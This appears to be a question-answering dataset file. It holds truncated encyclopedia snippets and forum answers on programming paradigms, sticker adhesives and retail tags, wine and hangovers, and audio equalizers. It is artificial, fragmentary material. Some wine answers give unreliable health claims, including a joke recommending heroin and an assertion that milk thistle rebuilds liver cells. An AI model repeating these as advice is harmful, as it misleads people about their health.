subtype relationship: two unrelated types may satisfy the same concept.\nOften, abstract types will have one or more implementations provided separately, for example, in the form of concrete subtypes that can be instantiated. In object-oriented programming, an abstract class may include abstract methods or abstract properties that are shared by its subclasses. Other names for language features that are (or may be) used to implement abstract types", "Programming paradigm Overview Just as software engineering (as a process) is defined by differing methodologies, so the programming languages (as models of computation) are defined by differing paradigms. Some languages are designed to support one paradigm (Smalltalk supports object-oriented programming, Haskell supports functional programming), while other programming languages support multiple paradigms (such as Object Pascal, C++, Java, JavaScript, C#, Scala, Visual Basic, Common Lisp, Scheme, Perl, PHP, Python, Ruby, Wolfram Language, Oz, and F#). For example, programs written in C++, Object Pascal or PHP can be purely procedural, purely object-oriented, or can contain elements of both or other paradigms. Software", "often implemented using these data structures. However, objects have additional features, such as a prototype chain, which ordinary associative arrays do not have.\nJavaScript has several kinds of built-in objects, namely Array, Boolean, Date, Function, Math, Number, Object, RegExp and String. Other objects are \"host objects\", defined not by the language, but by the runtime environment. For example, in a browser, typical host objects belong to the DOM (window, form, links, etc.). Creating objects Objects can be created using a constructor or an object literal. The constructor can use either a built-in Object function or a custom function. It is a", "most widely employed.\nAspect-orientation is not limited to programming since it is useful to identify, analyse, trace and modularise concerns (e.g., PREview) through requirements elicitation, specification and design. Aspects can be multi-dimensional by allowing both functional and non-functional behaviour to crosscut any other concerns, instead of just mapping non-functional concerns to functional requirements.\nOne view of aspect-oriented software development is that every major feature of the program, core concern (business logic), or cross-cutting concern (additional features), is an aspect, and by weaving them together (a process also called composition), one finally produces a whole out of the separate aspects. This approach is", "Information oriented software development Information Oriented Software Development is a software development methodology focused on working with information inside a computer program as opposed to working with just data. A significant difference exists between data and information. Information Oriented Software Development relies on data structures specifically designed to hold information, and relies on frameworks that support those data structures. Information oriented software development focuses on the conceptual needs of users and customers rather than the data storage models and object models.", "programming as a general technique is found in the paper by Peter Naur, 1963. The author calls the technique Turing machine approach, however no real Turing machine is given in the paper; instead, the technique based on states and steps is described. Object-oriented programming relationship In the theory of object-oriented programming an object is said to have an internal state and is capable of receiving messages, responding to them, sending messages to other objects and changing the internal state during message handling. In more practical terminology, to call an object's method is considered the same as to send a message", "Object hierarchy An object hierarchy is a concept from computer programming. It references descendants of objects acting as properties of an object. An example of this would be the object controlling a window (at the top of the hierarchy) having another object like the window's border acting as a property of the window.", "a sub category.\nThe Linnaen classification of living things and objects forms the basis for generalization and specification. The ability to identify, recognize and classify is the basis for generalization. Perceiving the world as a collection of objects appears to be a key aspect of human intelligence. It is the object oriented model, in the non computer science sense.\nThe object oriented model is constructed from our perception. In particularly vision is based on the ability to compare two images and calculate how much information is needed to morph or map one image into another. Computer vision uses this mapping", "Object-oriented operating system Background An object is an instance of a class, which provides a certain set of functionalities. Two objects can be differentiated based on the functionalities (or methods) they support. In an operating system context, objects are associated with a resource. Historically, the object-oriented design principles were used in operating systems to provide several protection mechanisms.\nProtection mechanisms in an operating system help in providing a clear separation between different user programs. It also protects the operating system from any malicious user program behavior. For example, consider the case of user profiles in an operating system. The user should", "associate OOP with software bloat; an attempt to resolve this dilemma came through polymorphism.\nBecause object-oriented programming is considered a paradigm, not a language, it is possible to create even an object-oriented assembler language. High Level Assembly (HLA) is an example of this that fully supports advanced data types and object-oriented assembly language programming – despite its early origins. Thus, differing programming paradigms can be seen rather like motivational memes of their advocates, rather than necessarily representing progress from one level to the next. Precise comparisons of the efficacy of competing paradigms are frequently made more difficult because of new and", "designers and programmers decide how to use those paradigm elements.\nIn object-oriented programming, programs are treated as a set of interacting objects. In functional programming, programs are treated as a sequence of stateless function evaluations. When programming computers or systems with many processors, in process-oriented programming, programs are treated as sets of concurrent processes that act on a logical shared data structures.\nMany programming paradigms are as well known for the techniques they forbid as for those they enable. For instance, pure functional programming disallows use of side-effects, while structured programming disallows use of the goto statement. Partly for this reason, new", "Programming language reference A programming language reference (or language reference manual) is an artifact that describes a programming language so that users and developers can understand the basic elements of and write computer programs in the target language.\nA programming language reference manual is one form of documentation that is associated with most mainstream programming languages. A reference manual is ordinarily separate and distinct from a programming language specification, which is usually more detailed and intended for use by implementors of the language itself, rather than those who simply use the language to accomplish some processing task." ]

[ "It is much cheaper to use the stickers that leave the adhesive residue than the nicer, easier to remove stickers. Typically people that are buying the cheaper products will not care so much about small details like the adhesive of the sticker, but rather the lower price of the product.", "There is a VERY fine line between an adhesive that is tacky enough to work but not too gooey to leave a residue. When you factor in aging, shelf life, and storage conditions of the adhesive it is really tricky to make a reliable adhesive that works well. That being said I know what you mean, there are too many crappy adhesives used in products and it is very frustrating.\n\nsource: I do research & development work with adhesives." ]

[ "rare and not especially desirable either for the retailer or the manufacturer. The practical totality of EAS labels are discarded with the product packaging. This is of particular application in everyday items that consumers might carry on their person to avoid the inconvenience of potentially live reactivated EAS tags when walking in and out of retail stores.\nHard tags, typically used for clothing or ink tags, known as benefit denial tags, may reduce the rate of tag manipulation. Also, shoplifters deactivating or detaching tags may be spotted by the shop staff.\nShoplifting tools are illegal in many jurisdictions, and can, in any", "to include promotional materials or advertisements to help build a brand and increase customer loyalty. Clear product display Blister packaging helps shoppers see product, further aiding in their purchase decision. More than half of shoppers believe it is important to see a product through its packaging. Theft deterrent packaging To prevent retail theft, packages are specifically designed so that the customer cannot “touch and feel” the product. Clear, protective, and durable thermoformed plastic packaging enables the customer to fully view the product while maintaining the security of the product. Blister packaging can easily be sealed using heat sealing machinery.", "Ink tag Ink tags are a form of retail loss prevention most commonly used by clothing retailers. Special equipment is required to remove the tags from the clothing. When the tags are forcibly removed, one or more glass vials containing permanent ink will break, causing it to spill over the clothing, effectively destroying it. Ink tags fall into the loss prevention category called benefit denial. As the name suggests, an ink tag denies the shoplifter any benefit for his or her efforts. Despite this, shoplifters have found ways around them. Ink tags are most effective if", "authorities if the misuse of the CE marking is suspected or if a product's safety is questioned.\nThe procedures, measures and sanctions applying to counterfeiting of the CE marking vary according to the respective member state's national administrative and penal legislation. Depending on the seriousness of the crime, economic operators may be liable to a fine and, in some circumstances, imprisonment. However, if the product is not regarded as an imminent safety risk, the manufacturer may be given an opportunity to ensure that the product is in conformity with the applicable legislation before being forced to take the product off the", "(e.g., gruesome or revolting scenes, or violence). Some advertisements may be considered shocking, controversial or offensive not because of the way that the advertisements communicate their messages but because the products themselves are \"unmentionables\" not to be openly presented or discussed in the public sphere. Examples of these “unmentionables” may include cigarettes, feminine hygiene products, or contraceptives. However, there are several products, services or messages that could be deemed shocking or offensive to the public. For example, advertisements for weight loss programs, sexual or gender related products, clinics that provide AIDS and STD testing, funeral services, groups that advocate for", "products or services of other businesses, and therefore cannot be afforded any legal protection. This is because there has to be some term which may generally be used by anyone—including other manufacturers—to refer to a product without using some organization's proprietary trademark. Marks which become generic after losing distinctive character are known as genericized trademarks.", "Stickers as a Service Stickers Digital stickers tend to depict either original and well-known characters. They are used during chat sessions between users and act as large sized emoji to express emotions or as decoration in photographs.\nStickers vary from original characters to popular manga, anime and gaming characters or movie tie-ins. They can be purchased or downloaded for free in apps with sticker stores installed. Limited edition stickers may also be gained via special occasions or achievements.\nIt is used as an alternative to emoji or emoticons as they are a more expressive form of communication and have a variety of", "in use and (3) the use of which is likely to deceive, confuse, or cause mistake on the part of the consuming public.\n \nThese counterfeit goods include numerous things such as labels, stickers, wrappers, charms, cases, tags, and patches. Originally under the act, the penalty for being convicted for trademark counterfeiting was a fine up to $100,000 and a prison sentence of up to five years plus paying attorney fees to the trademark owners. These penalties were later amended and called for a fine of up to $2 million and/or imprisonment for up to 10 years, with large companies being", "sticker. Brand names are shown when integral to a myth, such as in the Diet Coke and Mentos experiment or Pop Rocks in the very first pilot episode of MythBusters.\nThe Diet Coke and Mentos experiment is also an outlier with respect to their safety warnings, as Savage and Hyneman stated on air that this myth was perfectly safe for viewers to replicate on their own. Another example of this is the \"Phone Book Friction\" episode, in which they investigated the difficulty of pulling two telephone books apart after their pages had been interleaved together. One episode from the 2014 season,", "Label Uses Labels may be used for any combination of identification, information, warning, instructions for use, environmental advice or advertising. They may be stickers, permanent or temporary labels or printed packaging. Products Permanent product identification by a label is commonplace; labels need to remain secure throughout the life of the product. For example, a VIN plate on an automobile must be resistant to heat, oils and tampering; similarly, a food label must endure until the food has been used. Removable product labels need to bond until they are removed. For example, a label on a new refrigerator has installation, usage", "when it can be shown that the defendant would be likely to attempt to conceal or transfer the materials.\nThe Trademark Counterfeiting Act of 1984 made it illegal for anyone to intentionally traffic or attempt to traffic goods or services knowingly using a counterfeit mark, which is defined as \na spurious mark and spurious designations (1) used in connection with trafficking in goods or services (2) identical with, or substantially indistinguishable from, a mark registered for those goods and services on the United States Patent and Trademark Office's Principal Register (whether or not the defendant knew the mark was registered) and", "and or hid digitally, or through physical removal of a brand, such as removing the logo of a car from its front grill. Other notable examples According to Danny Boyle, director of 2008 film Slumdog Millionaire, the makers had to resort to \"product displacement\" when companies such as Mercedes refused to allow their products to be used in non-flattering settings. They objected to their products being shown in a slum setting. This forced the makers in post-production to remove logos digitally, costing \"tens of thousands of pounds\".\nThe practice of product displacement is also frequently seen on reality television programs which", "may constitute trespassing. Brandishing and printing Printing refers to a circumstance where the shape or outline of a firearm is visible through a garment while the gun is still fully covered, and is generally not desired when carrying a concealed weapon. Brandishing can refer to different actions depending on jurisdiction. These actions can include printing through a garment, pulling back clothing to expose a gun, or unholstering a gun and exhibiting it in the hand. The intent to intimidate or threaten someone may or may not be required legally for it to be considered brandishing.\nBrandishing is a crime in most", "manufactured at its factory in Dunstable.\nThe Sellotape company was bought by Henkel Consumer Adhesives in 2002. Products The Sellotape brand now covers a variety of tape products, and the word is frequently used to refer to other adhesive tapes in many countries due to its market exposure. As an example of a genericized trademark, it gained an entry in the Oxford English Dictionary in 1980. Use The tape can be used to repair tears in paper, or to attach pieces of paper or cardboard together for modelling. On fragile paper surfaces the tape can only be used once, as", "in which the goods are marketed. When used in connection with the sale of goods or services, the sign may appear in advertisements, for example, in newspapers, on television or in shop windows.\nIn addition to trademarks identifying the commercial source of goods or services, several other categories of marks exist. Collective marks Collective marks are owned by an association, such as an association representing accountants or engineers, whose members use the mark to identify them with a particular level of quality and other requirements set by the association. Certification marks Certification marks, such as the Woolmark, are given for compliance", "added stickers. Startup companies devoted to stickers also emerged, helping produce them on behalf of brands as part of advertising campaigns.\nBy November 2013, a survey of mobile messaging users found that 40% of those surveyed used stickers on a daily basis, with Indonesians showing the highest amount of daily usage (46%), followed by China (43%), South Korea (38%) and the United States (35%). Out of those who did regularly use stickers, 20% had had paid for stickers or emoji in mobile messaging apps at least once.\nIn 2016, Snapchat acquired Bitstrips for its app Bitmoji, which allows users to create custom", "either do not alarm from \"tag pollution\" or they produce a specific alarm when a customer enters the store with a non-deactivated tag so that store personnel can remove or deactivate it so it does not produce a false alarm when exiting the store. However, spider wrap may be used instead of tags.\nSome tags are stuck onto merchandise with glue (rather than being superimposed on) the shoplifter can easily scrape off the tag in their pocket. Pedestal EAS covers, which are made of durable vinyl, offer cost-effective means of adding a marketing tool at every entrance to a store; they", "withdrawn because medical researchers discovered that the stupid humour of the ads appealed mostly to young adolescents, whereas adults 33-55 years old, who were supposedly the target group for the campaign, did not identify with Reg. Controversy In April 2002, The Daily Telegraph reported that unscrupulous middlemen were offering supposedly duty-free Regal and Silk Cut cigarettes to consumers. These products turned out to be illegally counterfeited in Chinese factories on the border between Fujian and Guangdong provinces, and were highly toxic. Alongside the health risks of smoking, the cigarettes were produced in unhygienic factory conditions and included tobacco sweepings, sawdust,", "are considered fanciful and receive strong trademark protection. Arbitrary marks include preexisting words used in an arbitrary way, such as \"Apple\" when used for computers. Suggestive Suggestive trademarks are still broadly protected. These marks \"suggest\" something about the product or services they are used on. The suggestion is a subtle connotation, not an outright description of the product. An example is \"Whirlpool\" for washing machines. Descriptive Descriptive terms immediately describe the goods, or some important characteristic of the goods. Trademark law does not protect descriptive terms unless achieve \"secondary meaning\" in the minds of consumers. That is, trademark", "marketing messages were initially explicit, but over the decades, they became more implicit and indirect. Explicitly claiming something that the consumer knows to be untrue tend to make them distrust and reject the message, so the effectiveness of explicit claims dropped as evidence of the harms of cigarettes became more widely known. Explicit claims also have the disadvantage that they remind smokers of the health harms of the product.\nImplicit claims include slogans with connotations of health and vitality, such as \"Alive with pleasure\", and imagery (of instance, images of athletic, healthy people, the presence of healthy children, healthy natural environments,", "advances the tape to the next character position. The embossed characters stand out from the tape and look white due to stretching of the plastic.\nEmbossing tape and the embossing device itself are relatively inexpensive to buy, usually around $10 from stationery stores. Because of this, embossing tape has found popularity with children and adolescents. Unlike paper labels, embossing tape is very durable, does not fade over time, rarely leaves a sticky residue, and does not break upon removal.\nBecause of the method for embossing, the characters can only be white in color. Sometimes, the adhesive backing of the tape can weaken,", "Yellow sticker Yellow stickers are a method of alerting shoppers to food which has been reduced in price because it is approaching its sell by date.\nYellow stickers are used by most UK supermarket chains, including Asda, Co-op, Marks and Spencer, Sainsbury's, Tesco and Waitrose.\nThey are also found elsewhere in the world, such as in Japan.", "wipes. The lawsuit alleged the retailer misled consumers by marking the packaging on its Up & Up brand wipes as flushable and safe for sewer and septic systems. The lawsuit also alleged that the products were a public health hazard because they clogged pumps at municipal waste-treatment facilities. Target and Nice-Pak agreed to settle the case in 2018.\nIn 2015, the City of Wyoming, Minnesota, launched a class action suit against six companies including Procter & Gamble, Kimberly-Clark and Nice-Pak, alleging they were fraudulently promoting their products as 'flushable'. Wyoming dropped the lawsuit in 2018, as there was no proof that", "they can be inserted into many types of everyday products without significantly increasing the price, and can be used to track and identify these objects for a variety of purposes.\nSome companies appear to be \"tagging\" their workers by incorporating RFID tags in employee ID badges. Workers in U.K. considered strike action in protest of having themselves tagged; they felt that it was dehumanizing to have all of their movements tracked with RFID chips. Some critics have expressed fears that people will soon be tracked and scanned everywhere they go. On the other hand, RFID tags in newborn baby ID", "each individual item. In fact, large companies like Wal-Mart, JC Penney, and Dillard’s are issuing electronic product code mandates, where they request their suppliers to comply with these EPC protocols. In 2005, it was required that the suppliers use RFID tagging at the pallet and case level, but now it is required that they tag on the item-level as well. The reason why is it so important for them to implement this is because they want to avoid losing a sale over an out-of-stock item, which they believe accounts for a big part of their losses. Also, if they know", "authentication of products and documents.\nTaggants are sometimes used by brand owners and governments to authenticate commonly counterfeited items. Taggants are integrated into the material of the item itself or into the packaging. Once integrated, the taggants can only be verified with specially engineered readers.", "complained were ignored by the brand or were simply blocked on social media platforms, such as Instagram and Twitter. Similarly to the security breach scandal, Lime Crime failed to email consumers when the FDA warning letter was released - addressing the issue through individual Instagram comments rather than by publishing a public declaration immediately. In November, 2015, Lime Crime published a FDA close-out letter on their website, which verified their corrections to the mislabelling on their product packaging.    ", "they often register them as trademarks to avoid misleading and Cybersquatting generating goodwill for their brands at the same time.", "to cover 65% of the packaging with combined pictorial and textual warning labels on both sides, in addition to additional warning labels on the any smaller sides since May 2017. Sale of loose cigarettes It is unlawful to sell any tobacco product in a package containing less than 19 cigarettes or 30 grams of loose fine-cut tobacco. To ensure this is the case, retailers may not destroy a tax strip on tobacco packaging. The law provides an exception for cigarillos and cigars under certain conditions. Retail price maintenance Selling tobacco products for more or less than the retail sale price", "due to their regular exposure to the materials. It also meant that prosecutors often had to prove that purchasers were unaware of the obscene nature of material on sale prior to purchase, as those who actively sought out such material were deemed unlikely to be corrupted by it. Secondly, the offer of such materials for sale was not held to be publication, since it was merely an invitation to buy, not an actual purchase. Thirdly, the courts held in Straker v DPP [1963] 1 QB 926 that negatives for photographs could not be forfeited if it was not intended to" ]

[ "You've got a mild allergy to the grape in that type of wine.\n\nSwitch types and/or color, and drink more water.\n\nOr switch to beer or hard liquor or heroin.", "It's different for everyone. You may be sensitive to the sulphides in wine. It's basically a preservative. Some occur naturally and some are added.\n\nThis has a pretty straightforward/ELI5 explanation:\n\n_URL_0_", "In addition to any chemical composition reasonings, you might not have a good sense of the relative alcohol density of wine in comparison to beer or liquor. Each bottle has approximately 7.5 standard drinks (if you are drinking a standard sized bottle of red wine at 13%), thus drinking two bottles is the equivalent of 15 cans of beer or 1 oz. shots.\n\nThat's a lot of alcohol, my friend. You should consider taking milk thistle, an excellent herb for rebuilding liver cells." ]

[ "the head and pain in the head, in addition to disturbances in thought. In the lower body cavity, excess wine ingestion can have a purging effect; it can be the source of stomach pain, diarrhea, and vomiting. An overall effect of wine that all Greek doctors of the time have observed and agree on is its warming property. Therefore, wine’s properties are described as “hot and dry.” As documented in the Hippocratic texts, extreme use of wine can result in death.      \nPhysicians tried to study the human body with pure objectivity to give the most accurate explanation for", "and contribute to the taste of non-distilled drinks. It has been suggested that these substances contribute to the symptoms of a hangover. Tannins are congeners found in wine in the presence of phenolic compounds. Wine tannins add bitterness, have a drying sensation, taste herbaceous and are often described as astringent. Wine tannins adds balance, complexity, structure and makes a wine last longer, so they play an important role in the aging of wine. Food energy Alcoholic drinks are a source of food energy. The USDA uses a figure of 6.93 kilocalories (29.0 kJ) per gram of alcohol (5.47 kcal or 22.9 kJ per", "some of the harshness and volatility in the wine. A by-product of this technique is an increase in carbon dioxide or \"fizziness\" in the wine as well as increased alcohol content due to the added sugar that the yeast will convert into alcohol.", "bad fumes, and as a result anyone who drinks it along with wine becomes drunk quickly; but it does have the property of facilitating urination and makes one's flesh white and smooth.\nThe intoxicating effect of beer was believed to last longer than that of wine, but it was also admitted that it did not create the \"false thirst\" associated with wine. Though less prominent than in the north, beer was consumed in northern France and the Italian mainland. Perhaps as a consequence of the Norman conquest and the travelling of nobles between France and England, one French variant described in", "The Hippocratic texts describe wine as a powerful substance, that when consumed in excess can cause physical disorders, today known as, intoxication. Although the negative effects of wine on the human body are documented within the Hippocratic Corpus, the author/authors maintain an objective attitude towards wine. During this time, those studying medicine were interested in the physical effects of wine, therefore no medical text condemned the use of wine in excess. According to the Hippocratic text, the consumption of wine significantly affects two regions of the body: the head and the lower body cavity. Excessive drinking can cause heaviness of", "pull on the surrounding fluid more strongly than a region with a higher alcohol concentration. The result is that the liquid tends to flow away from regions with higher alcohol concentration. This can be easily and strikingly demonstrated by spreading a thin film of water on a smooth surface and then allowing a drop of alcohol to fall on the center of the film. The liquid will rush out of the region where the drop of alcohol fell.\nWine is mostly a mixture of alcohol and water, with dissolved sugars, acids, colourants and flavourants. Where the surface of the", "and guarantee strength to the fetus. Because of wine's visual similarity to blood, physicians had assumed a relationship between the two substances. For this reason, men suffering from cardiac illness, lack of strength, or pale complexion were encouraged to consume dark, undiluted wine. Multiple texts within the Hippocratic Corpus advise the use of wine in accordance with the seasons. During the winter, wine must be undiluted, to counter the cold and wet, because wine’s properties are dry and hot. During fall and spring, wine should be moderately diluted, and during the summer, wine should be diluted as much as possible", "alcohol cause worse hangovers. All four studies concluded that darker liquors, which have higher congeners, produced worse hangovers. One even showed that hangovers were worse and more frequent with darker liquors. In a 2006 study, an average of 14 standard drinks (330 ml each) of beer was needed to produce a hangover, but only 7 to 8 drinks was required for wine or liquor (note that one standard drink has the same amount of alcohol regardless of type). Another study ranked several drinks by their ability to cause a hangover as follows (from low to high): distilled ethanol diluted with", "shock One of the short-term aging needs of wine is a period where the wine is considered \"sick\" due to the trauma and volatility of the bottling experience. During bottling the wine is exposed to some oxygen which causes a domino effect of chemical reactions with various components of the wine. The time it takes for the wine to settle down and have the oxygen fully dissolve and integrate with the wine is considered its period of \"bottle shock\". During this time the wine could taste drastically different from how it did prior to bottling or how it will taste", "the effects of external substances that could be given for the time. During this period, physicians believed not all wines were equally potent in producing a range of perilous symptoms. According to the Hippocratic texts, physicians carefully categorized wine by properties such as color, taste, viscosity, smell, and age. According to Hippocrates, a more concentrated wine leads to a heavy head and difficulty thinking, and a soft wine inflames the spleen and liver and produces wind in the intestine. Other observations of the ingestion of wine included the varying levels of tolerance within the population being observed. This observation led", "medicine and more of a medicated wine.\nThe wine, which comes in distinct brands depending on the market, has achieved popularity in working class, student, and bohemian communities in the United Kingdom and Ireland. In the Republic of Ireland, Buckfast is packaged in a darker bottle, has a slightly lower alcoholic strength, and lacks the vanillin flavouring present in the British version. Buckfast sold in Northern Ireland is the same as that sold in the rest of the UK. Antisocial image In certain parts of Scotland, Buckfast is associated with drinkers who are prone to committing anti-social behaviour when drunk, especially", "a pull-off top (カップ酒 kappu-zake) – this is generally cheap sake – or in a small 360 ml (13 imp fl oz; 12 US fl oz) bottle.\nIn general, it is best to keep sake refrigerated in a cool or dark room, as prolonged exposure to heat or direct light will lead to spoilage. In addition, sake stored at relatively high temperature can lead to formation of dicetopiperazine, a cyclo (Pro-Leu) that makes it bitter as it ages Sake has high microbiological stability due to its high content of ethanol. However, incidences of spoilage have been known to occur. One of the microoganisms implicated in this", "in the wine contributes much more than just intoxication. It has an immense impact of the weight and mouthfeel of the wine as well as the balance of sweetness, tannins and acids. In wine tasting, the anaesthetic qualities of ethanol reduces the sensitivity of the palate to the harsh effects of acids and tannins, making the wine seem softer. It also plays a role during the ageing of wine in its complex interaction with esters and phenolic compounds that produce various aromas in wine that contribute to a wine's flavor profile. For this reason, some winemakers will value having a", "Tears of wine The phenomenon called tears of wine is manifested as a ring of clear liquid, near the top of a glass of wine, from which droplets continuously form and drop back into the wine. It is most readily observed in a wine which has a high alcohol content. It is also referred to as wine legs, \"fingers\", curtains, or church windows. Cause The effect is a consequence of the fact that alcohol has a lower surface tension than water. If alcohol is mixed with water inhomogeneously, a region with a lower concentration of alcohol will", "been a slight fizziness that was a by product of wine making techniques that emerged during the late Middle Ages. At the time various wine faults would plague unstable Chiantis because they were not able to fully complete fermentation and yeast cells would remain active in the wine. The lack of full fermentation was partly due to cooler temperatures following harvest that stuns the yeast and prohibits activity but could have also been caused by unsanitary fermentation vessels. In the 14th century, Chianti winemakers developed a technique known as governo where half-dried grapes are added to the must to stimulate", "produces an anti-fungal that kills yeast and often results in fermentation stopping before the wine has accumulated sufficient levels of alcohol. Makers of fine German dessert wines have been known to take fermenting tubs of wine into their homes to nurture the yeast through the night to assure that the alcohol level reaches legal minimums for the product to be called wine.\nBotrytis bunch rot is another condition of grapes caused by Botrytis cinerea that causes great losses for the wine industry. It is always present on the fruitset, however, it requires a wound to start a bunch rot infection. Wounds", "desirable way.\nGenerally speaking, however, browning is a sign of the wine going stale from too much exposure to oxygen. Although wine that has gone bad is typically associated with the smell and taste of vinegar or unwanted effervescence, oxidation itself can actually lead to \"nutty\", \"applesauce\", and \"burnt marshmallow\" aromas. The sharp vinegar component comes from acetic acid formed through bacterial processes. A lower pH level is typically preferred in wines because it decreases the overall risk of spoilage. The lower pH reduces the effect of browning and yields better colors, particularly in red wines. Significance of color The color", "concentration of sugars in the grape, the greater the potential alcohol level. However, most strains of winemaking yeast have difficulties surviving in an alcohol solution above 15% alcohol by volume (ABV) and cease fermentation before all the sugar is converted in alcohol. This leaves a certain amount of residual sugar which influences the sweetness level of the wine. Wines that are destined to be sweet, such as dessert wines, are often called late harvest wines because they are harvested at extreme points of ripeness much later than when regular table wine grapes have been harvested.\nThe presence of alcohol (particularly ethanol)", "wine from its natural or \"authentic state\". At various points in history, these techniques may be considered too much manipulation, more than what a consumer would likely expect, and thus labeled as \"fraud\". However as these techniques became more common place in the wine industry, they gained an air of acceptability and eventually became just another tool in the winemaker's tool box to help craft good-quality wine.\nMost techniques of manipulation arose from need. Early wine had many wine faults that caused a wine to spoil quickly. Classical writings from the Greeks and Romans detailed recipes that could cure \"sick wines\".", "are always topped up or adding a mixture of dried and boiled white grape seeds with the ash of dried and burnt lees of white wine were both effective bactericides, even if the chemical processes were not understood at the time. Spiced or mulled wine was not only popular among the affluent, but was also considered especially healthy by physicians. Wine was believed to act as a kind of vaporizer and conduit of other foodstuffs to every part of the body, and the addition of fragrant and exotic spices would make it even more wholesome. Spiced wines were usually made", "too \"hot\" (too alcoholic), although modern winemaking techniques have helped make them more approachable. On the other hand, Zinfandel producers such as Joel Peterson of Ravenswood believe that alcohol-removing technologies, such as reverse osmosis and spinning cones, remove a sense of terroir from the wine. If a wine has the tannins and other components to balance 15% alcohol, Peterson argues, it should be accepted on its own terms.\nFactors that affect the wine's flavors include length of fermentation, length of the maceration period with skin contact, the level of oak aging, and the degrees Brix of the harvested grapes. White Zinfandel", "to make them sweeter and upgrade the dry wines to sweet wines; production of sweet wines is expensive and addition of sugar is easy to detect. In 1986, twenty-three people died because a fraudulent winemaker in Italy blended toxic methyl alcohol into his low-alcohol wine to increase its alcohol content. Another 15 Italian people went blind weeks after drinking the tainted wine. Odore Barbera and Fraris Dolcetto del Piedmonte were among the wine labels involved in the scandal.", "becomes exposed to increasing osmotic pressure and levels of alcohol in the wine. As a waste product of its own metabolism, alcohol is actually very toxic to yeast cells. Yeast with weak survival factors and lacking sterols may succumb to these conditions before fermenting a wine to complete dryness, leaving a stuck fermentation.\nCultured yeasts that are freeze-dried and available for inoculation of wine must are deliberately grown in commercial labs in high oxygen/low sugar conditions that favor the development of these survival factors. One of the reasons that some winemakers prefer using inoculated yeast is the predictability of fermentation due", "Health effects of wine The health effects of wine are mainly determined by its active ingredient alcohol. Some studies found that, when comparing people who consume alcohol, drinking small quantities of alcohol (up to one standard drink per day for women and one to two drinks per day for men) is associated with a decreased risk of heart disease, stroke, diabetes mellitus, metabolic syndrome and early death. However, other studies found no such effect. \nDrinking more than the standard drink amount increases the risk of heart disease, high blood pressure, atrial fibrillation, stroke and cancer. Mixed results are also observed", "enhanced ripening of various phenolic compounds that can contribute to a wine's aroma and quality. In addition to having decreased physiological ripeness, excessive shade will negatively impact a grape's quality by causing increases in the levels of potassium, malic acid and pH in the grapes while decreasing the amount of sugar, tartaric acid and color producing anthocyanins. Beyond a lack of sunlight, excessive shading limits the amount of air circulation that can take place within a vine's canopy. In wet, humid climates poor air circulation can promote the development of various grape diseases such as powdery mildew and grey rot.", "the salty side of food and tempers heavy fatty foods. Sweet wine goes well with sweet and savoury dishes to mitigate the heavy sugar and stimulate the fruitiness.\nFor an aperitif, flavoured dry wine or sparkling wine goes with all meals. Specialists in tasting consider that the sugar or alcohol in some wines has a saturating effect on the taste buds, by contrast the fruity liveliness awakens them to the meal to come.\nAt mealtimes very dry wines with little minerals are recommended with oysters and seafood: their acidity reveals the salinity of the shellfish. The most fragrant wines go well with", "because some seasons will be much warmer and produce riper grapes and better wine. On the other hand, a poor growing season can lead to grapes failing to reach optimal ripeness, resulting in grape juice that is higher in acid and lower in sugar, which affects the quality of the resulting wine.\nIn many wine regions, especially in the New World, growing seasons are much more uniform. In dry regions, the systematic and controlled use of irrigation also contributes to uniform vintages. However, such wines are regularly labeled by vintage because of consumer demand.\nWines of superior vintages from prestigious producers and", "sellers of bulk wine typically do not have access to a multi-million litre tank, and so often the wine will vary depending on which tank it came from.\nBottle variation that increases over time typically comes from the packaging. Exposure to heat or light can cause a wine to mature more quickly or even make it taste \"cooked\". Bottles aged in the chilly cellars of Sweden's alcohol monopoly are famous for tasting younger than the same wine stored at a more typical 13 °C (55 °F). Finally, not all corks seal equally well, and a faulty cork will allow air into", "practice was the storage of amphoras in a smoke chamber called a fumarium to add smokiness to a wine's flavor.\nThe term \"wine\" spanned a broad spectrum of wine-based beverages, the quality of which depended on the amount of pure grape juice used and how diluted the wine was when served. The finest wine was reserved for the upper classes of Rome. Below that was posca, a mixture of water and sour wine that had not yet turned into vinegar. Less acidic than vinegar, it still retained some of the aromas and texture of wine and was the preferred wine for", "guidelines contained the blanket statement that \"wine has no net health benefit\". By 1995, the wording had been changed to allow moderate consumption with meals providing the individual had no other alcohol-related health risk. From a research perspective, scientists began differentiating alcohol consumption among the various classes of beverages – wine, beer, and spirits. This distinction allowed studies to highlight potentially positive medical benefits of wine apart from the mere presence of alcohol, though these studies are increasingly being called into question. Wine drinkers tend to share similar lifestyle habits – better diets, regular exercise, non-smoking – that may in" ]

[ "The equalizer on your device compensates for the less than perfect device and listening environment. All sound is effected by the room it's played in and the device it's played on. However, listening is a subjective experience.", "The EQ on your end is to compensate for your speakers, which probably aren't that great if you need drastic EQ to make it sound better. And you're assuming the music is mixed well just because it's released. This is not always the case, there is such a thing as a bad mix. \n\nThere's also personal taste. A good mix is subjective, you might just like it a little bit brighter or darker or heavier in the bass and use EQ to compensate.", "Yes they have, but to what they deem to be *nice* which might differ from your definition.\n\nBesides, while the track may be perfectly mastered and rendered correctly in studio, your equipment may not be perfect to produce it perfectly i.e. sonic errors/attenuations in frequencies at the DAC; earphones etc., and that causes a detrimental effect on the track when it's played at home. EQ-ing yourself perceivably adjusts for those shortfalls to make it sound better all again.", "It depends on two things, your music preference and equipment. \n \n* You may prefer a different sound signature then intended. \n* Your equipment doesn't have a perfectly flat sound signature, the equipment used to create the songs are close to flat because they are worth thousands of dollars." ]

[ "recorded continuously, and mixing is done \"on the fly.\" On later albums, he incorporated more musicians into the sessions to allow for more varied instrumental textures. Explaining his rationale behind the method, he commented:\nWell, it's real. It's a recording of a performance, of a real performance between a group of people, an entourage, a band, as opposed to a facsimile of that, which is frequently what people do with multi-track recording ... I prefer it. It's a little more real. It's got a little more heart.\nWorkman left the Catholics in 1998 to pursue session and sideman work; Rich Gilbert was added", "more natural sound as opposed to the popular method of recording various takes and combining them in the final mix.", "it is not uncommon for different tracks of the same song to be recorded at different times (and even in different studios) and then mixed into a final two-channel recording for commercial release.\nClassical music recordings are a notable exception. They are more likely to be recorded without having tracks dubbed in later as in pop recordings, so that the actual physical and spatial relationship of the musicians at the time of the original performance can be preserved on the recording. Balance Balance can mean the amount of signal from each channel reproduced in a stereo audio recording. Typically, a balance", "in the balance.\nBefore the introduction of multitrack recording, all sounds and effects that were to be part of a record were mixed at one time during a live performance. If the recorded mix wasn't satisfactory, or if one musician made a mistake, the selection had to be performed over until the desired balance and performance was obtained. With the introduction of multi-track recording, the production of a modern recording changed into one that generally involves three stages: recording, overdubbing, and mixing.\nModern 